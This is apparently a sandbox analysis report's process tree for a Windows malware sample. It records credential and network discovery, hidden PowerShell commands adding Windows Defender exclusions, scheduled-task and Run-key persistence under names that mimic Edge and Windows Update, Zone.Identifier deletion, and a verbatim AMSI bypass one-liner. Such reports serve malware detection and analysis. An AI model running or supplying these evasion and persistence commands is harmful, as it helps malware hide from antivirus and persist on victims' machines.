    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /displaydns"
    3⤵
    PID:2792
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /displaydns
      4⤵
      Gathers network information
      PID:492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "route print"
    3⤵
    PID:4732
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:3928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net share"
    3⤵
    PID:3164
  - - C:\Windows\system32\net.exe
      net share
      4⤵
      PID:2572
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 share
        5⤵
        
        PID:4324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3180
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles"
    3⤵
    PID:1080
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles
      4⤵
      Modifies Windows Firewall
      PID:1792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List""
    3⤵
    PID:548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:2952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath""
    3⤵
    PID:1448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:1544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
    3⤵
    PID:2556
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4592
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles state
      4⤵
      Modifies Windows Firewall
      PID:2716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1504
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s 2>nul"
    3⤵
    PID:4228
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s
      4⤵
      PID:1656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 2>nul"
    3⤵
    PID:3928
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3480
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
      4⤵
      PID:4424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmdkey /list"
    3⤵
    PID:500
  - - C:\Windows\system32\cmdkey.exe
      cmdkey /list
      4⤵
      PID:2952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:4584
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:1104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:3000
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:2528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:2716
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:1192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:5056
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv 2>nul"
    3⤵
    PID:2332
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv
      4⤵
      PID:1048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:1888
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:1220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:1168
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize""
    3⤵
    PID:3656
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:1204
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
    3⤵
    PID:4064
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
      4⤵
      PID:3480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f 2>nul"
  2⤵
  PID:4804
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
    3⤵
    PID:4024
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
      4⤵
      PID:3444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:2240
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
    3⤵
    PID:4188
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
      4⤵
      PID:3460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "MicrosoftEdgeUpdate" /f 2>nul"
  2⤵
  - Indicator Removal: Clear Persistence
  PID:2548
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftEdgeUpdate" /f
    3⤵
    PID:2512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f"
  2⤵
  PID:1148
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
    3⤵
    PID:2004
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
      4⤵
      PID:4944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780336249884.xml" /f"
  2⤵
  PID:2612
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780336249884.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:2892
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:3812
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780336250071.xml" /f"
  2⤵
  PID:1264
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780336250071.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:1196
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:1992
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780336250290.xml" /f"
  2⤵
  PID:3404
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780336250290.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:4392
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:5048
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780336250415.xml" /f"
  2⤵
  PID:1216
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780336250415.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:3200
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:572
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780336250524.xml" /f"
  2⤵
  PID:3324
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780336250524.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:2512
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:3208
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f"
  2⤵
  PID:4544
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
    3⤵
    PID:4520
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
      4⤵
      PID:4900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f"
  2⤵
  PID:5040
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
    3⤵
    PID:4924
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
      4⤵
      PID:1664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f"
  2⤵
  PID:4432
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
    3⤵
    PID:2120
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
      4⤵
      PID:2204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f"
  2⤵
  PID:736
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
    3⤵
    PID:944
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
      4⤵
      PID:4228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4444
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:5112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4952
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:3180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4900
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:4372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4964
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:3444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3232
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:3480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1884
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:4328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true);[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiSession\",\"NonPublic,Static\").SetValue($null,$null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\Downloads\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2952
